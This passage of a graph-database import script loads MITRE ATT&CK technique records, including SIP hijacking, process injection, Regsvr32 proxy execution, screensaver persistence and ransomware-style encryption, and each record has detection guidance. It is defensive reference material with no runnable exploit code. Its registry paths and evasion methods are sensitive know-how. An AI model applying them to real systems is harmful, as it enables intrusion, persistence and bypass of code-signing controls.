2017)\",\"x_mitre_contributors\":[\"Matt Graeber, @mattifestation, SpecterOps\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"SIP and Trust Provider Hijacking", modified:"2019-07-18T03:42:38.763Z", kill_chain_phases:["54f047d2-5c24-4681-81c5-886107274d0f", "0e9a8681-af50-4149-b057-fb20e88cc4d0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", external_references:["af474867-33e5-46cf-9b2f-7aa5e0001b05", "0cc24c8b-3b98-42ac-8b05-5cc32c653ff8", "6b386ca4-51eb-467e-9072-dec7f664d7c0", "44203c45-7c56-4d4b-a4e7-956978d55208", "5c376407-b5fe-4739-aec3-b9f48e3e76e3", "167f1c43-3f66-43aa-997c-e5813adcf455", "73d9488a-9649-41b5-8028-36a90c0149a4", "049079a3-387d-4788-b0e5-2eb1846ccf05", "b4529c2e-81ce-4268-a453-b2f91778f7e9", "0fc73c6c-ce08-4783-8f2c-44b037cf69a9"]}}, {_id:1422, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"Authentication logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\",\"x_mitre_contributors\":[\"Anastasios Pingios\"],\"x_mitre_permissions_required\":[\"User\",\"root\"],\"x_mitre_system_requirements\":[\"SSH service enabled, trust relationships configured, established connections\"]}", description:"Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"SSH Hijacking", modified:"2019-07-18T17:51:25.900Z", kill_chain_phases:["2c9851d3-49c9-4c7a-bef5-1adf84f3ca69"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", external_references:["27006b1a-bdc2-4ffb-942f-9178098a10c0", "6d5b6b02-2bd5-42dc-a741-f77aee5a5553", "06f13dd8-cb99-4a91-9da9-4c22be37d091", "419cfca4-106a-4053-80f8-cbab47c8f1a1", "28d3435d-03a1-4caf-8054-c5dad58ff26e"]}}, {_id:1441, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:34.139Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Netflow/Enclave netflow\",\"Process use of network\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\"}", description:"Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Scheduled Transfer", modified:"2019-07-18T18:24:58.828Z", kill_chain_phases:["5678f3cc-dd08-4825-8bdf-63adc956b2d5"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", external_references:["e92deffc-fc2a-4dc0-b5dd-600098ce3f8d"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:1449, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\",\"Windows Registry\",\"File monitoring\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n\\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\",\"x_mitre_contributors\":[\"Bartosz Jerzman\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Screensaver", modified:"2019-09-03T16:12:27.771Z", kill_chain_phases:["fba053ab-5460-4f7a-b7bb-579ab7c198fa"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", external_references:["1afcdb79-6475-4bce-89c5-5b8ca7607674", "948e71ec-ad98-48ef-bb80-7adba0dbb33b", "dc5de63a-717a-4b9e-8db3-4489260d365b"]}}, {_id:1269, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:09.815Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"API monitoring\"],\"x_mitre_defense_bypassed\":[\"Process whitelisting\",\"Whitelisting by file name or path\",\"Signature-based detection\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Process Hollowing", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["a8979461-d694-422a-9086-7166b861abfd"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", external_references:["8879e93b-6c71-49e4-a9ab-e4f56f1b9d2d", "b799c90e-4bf0-4c57-b8ab-9c466aa893b8", "aad75159-4eb3-454a-8ab6-29186ba8de64"]}}, {_id:1274, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:47.843Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_effective_permissions\":[\"User\",\"Administrator\",\"SYSTEM\",\"root\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Windows Registry\",\"File monitoring\",\"DLL monitoring\",\"Process monitoring\",\"Named Pipes\"],\"x_mitre_defense_bypassed\":[\"Process whitelisting\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\\n\\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)\\n\\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\\n\\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\",\"x_mitre_contributors\":[\"Anastasios Pingios\",\"Christiaan Beek, @ChristiaanBeek\",\"Ryan Becwar\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\",\"root\"]}", description:"Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n### Windows\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)\n\n* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.\n* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018)  AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n### Mac and Linux\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n\n* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Process Injection", modified:"2019-07-18T17:27:02.580Z", kill_chain_phases:["61c6821b-a568-471e-a14a-2d9959ab937c", "135f6972-12e2-4303-bd42-d00cbb34e3c8"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", external_references:["5c176dff-06a5-4802-a5d5-a701fe3eb437", "61cb1941-cfae-4c0a-b971-26970981d80f", "343f8a10-2389-47cf-96cf-bbd9aff20e9e", "83927484-352f-401a-b264-23d9eaf72d49", "3c2ceb18-58db-49de-8c4f-c30ce1e76be1", "7da6de3f-f7c0-479b-a5fc-17a07f828a03", "9872c5db-6e04-4912-b19e-4dbbac139cb1", "b9910ddd-cc6e-4ed8-9e62-cfaf6bb0b76b", "867583df-c369-4f3d-881a-f2edc34935ae", "fab2da2b-6b6a-43d6-b076-b29d358683ef", "14e447c1-eeba-4cb1-8ca9-4fd6643952a8", "e7f64983-fff0-4140-8708-9affda9e09a6", "f77870fa-fd74-4121-9848-11b639b1cd2d", "2686752c-c9b4-45be-a894-621166a2593e", "a88c794c-0165-4720-8092-98d7b2cc6ee2", "2ebb8970-425f-40d7-9887-1ff9dd3c888c", "23c699f6-d5e6-49c8-9afb-36a7e470724f", "26b1b943-5c58-47e2-ac9b-6cc81a0b0dda", "b2a1ca4a-f6bf-4fb9-b582-0bbcd60020af"]}}, {_id:1306, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Re-opened Applications", modified:"2019-06-25T11:28:26.938Z", kill_chain_phases:["7254bb5e-a0be-4eaa-bb92-5eb3d7d49ab2"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", external_references:["1b7e7d5c-432f-4fcd-9af9-37c37fed64b6", "3ffd377e-cd71-424c-999e-ca8f75fd4fdb"]}}, {_id:1323, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:33.499Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Process whitelisting\",\"Digital Certificate Validation\"],\"x_mitre_version\":\"1.2\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\",\"x_mitre_contributors\":[\"Casey Smith\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"],\"x_mitre_remote_support\":false}", description:"Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Regsvcs/Regasm", modified:"2019-07-31T19:26:35.927Z", kill_chain_phases:["3df55ea5-7dd6-4c75-8482-6c59aedefef1", "fffe62a8-bbf0-4cc1-a087-8ca251ab5797"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", external_references:["0a21c22d-a4c6-42a0-b965-e7a7058d8738", "bc1f6029-b11e-4eda-b70e-0c3e2ec3d270", "89a614d8-5bc9-4430-a693-88a071b34950", "12874d7a-03eb-4c4c-ba2e-3020cfe83591", "769c0085-f0db-4bc2-bc55-64b3652f8351"]}}, {_id:1331, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:26.966Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Loaded DLLs\",\"Process monitoring\",\"Windows Registry\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Process whitelisting\",\"Anti-virus\",\"Digital Certificate Validation\"],\"x_mitre_version\":\"1.2\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\",\"x_mitre_contributors\":[\"Casey Smith\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"],\"x_mitre_remote_support\":false}", description:"Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Regsvr32", modified:"2019-07-31T19:31:54.893Z", kill_chain_phases:["186179e8-8613-403d-b40d-192e92f130a2", "8ea6b4df-dfe1-48d9-b573-f4b816373073"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", external_references:["98c40eb2-e244-4a28-81d3-fcc901a79a6f", "29422add-d52f-4276-8603-82ee74a015c4", "211bd0cf-556d-4d61-a876-0e3daf80c373", "67ea2b14-c950-46ef-af06-2c9af27ba5e3", "ad2720c6-e467-4d82-a1ca-d9071a98b9a8"]}}, {_id:414, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:30.260Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":false,\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\",\"Binary file metadata\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \\n\\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \\n\\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\"}", description:"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data Encrypted", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["4eaca552-0add-451e-a4ac-a6431c3ffe37"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", external_references:["f187aaed-e2ea-43a8-820c-f99d2ecfffdc", "18fe5075-0aa2-48c4-a33b-894f424e1807", "9c26137d-34e4-429f-93fd-bb7540f9122d"]}}, {_id:419, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-15T13:59:30.390Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Kernel drivers\",\"File monitoring\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and command line parameters of of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\\n\\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data Encrypted for Impact", modified:"2019-07-19T14:35:12.349Z", kill_chain_phases:["6db8383a-c460-49d6-a58c-74e519e70573"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", external_references:["900b139f-9969-445c-aa09-eb855472face", "0d5ba144-669c-43d9-9aca-6fa385ab42ab", "51d4d991-e6d1-4343-82ca-cafcdc64561c", "6cc96cfb-78c8-4a2e-826f-a6185b5e954c", "dce63e8e-7bae-4700-a555-5e9447b7eca9"]}}, {_id:764, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Binary file metadata\",\"DLL monitoring\",\"Loaded DLLs\",\"Process monitoring\",\"Windows event logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks 